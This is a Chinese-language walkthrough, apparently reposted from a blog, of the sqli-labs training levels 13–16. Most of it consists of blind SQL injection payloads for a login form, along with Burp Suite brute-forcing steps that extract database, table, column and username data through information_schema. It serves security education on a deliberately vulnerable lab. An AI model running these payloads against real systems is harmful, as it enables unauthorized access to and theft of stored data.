sqli-labs Less13-Less16

Less-13

这一关和之前有所不同,这一关登陆成功后没有数据回显,只显示登陆成功还是失败,所以这一关是盲注

使用Less12中用到的方法得到语句 uname=admin&passwd=admin&submit=Submit

 构造注入语句 uname=adm')or 1=1#&passwd=admin&submit=Submit

 判断数据库名字的长度  uname=adm')or if (length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit   根据返回时间没有延迟判断长度为8

 判断数据库名字的第一个字母是否大于a    uname=adm')or left(database(),1)>'a'#&passwd=admin&submit=Submit

或者uname=adm')or left(database(),1)='s'#&passwd=admin&submit=Submit

 查表   uname=adm')or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&passwd=admin&submit=Submit

 其他的和之前所用的布尔盲注,时间盲注的方法一样,同时也可以使用burp suite进行辅助测试

uname=adm')or left((select schema_name from information_schema.schemata limit 0,1),1)='a'#&passwd=admin&submit=Submit

打开burpsuite,发送到暴力破解

 

 

 

 然后点击暴力破解,可以发现,“i”的长度和其他长度不一样,看到下方有images/flag.jpg字样,即说明成功

 继续猜解第二个字母,如下图,后面的步骤和上面所讲的一样,以此类推,逐步推出

 如果A-Z没有,那么数据库名字还有可能含有0-9或者_等一些特殊字符,将其范围添加上即可

Less-14

首先登陆一下发现和第13关一样没有数据回显,但第13关是 (' ')包裹,而这一关是(“ ”)包裹

 其他的判断与第13关相同

判断数据库名字的长度   uname=adm" or length(database())='8'#&passwd=admin&submit=Submit

查库  uname=adm" or left((select schema_name from information_schema.schemata limit 0,1),1)='i'#&passwd=admin&submit=Submit

查表  uname=adm" or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='i'#&passwd=admin&submit=Submit

查列  uname=adm" or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='a'#&passwd=admin&submit=Submit

查字段  uname=adm" or left((select username from security.users limit 0,1),1)>'a'#&passwd=admin&submit=Submit  (通过这句话来判断users表中username下第一个字段的第一位,这里不能使用select username,password一起查询,只能一个一个查)

Less-15

第15关使用单引号'   '包裹,其他的与第14关第13关均相同

Less-16

第16关使用("  ")包裹,其他的与上面几关均相同,参考上面的方式即可

原文地址:https://www.cnblogs.com/heiwa-0924/p/12293117.html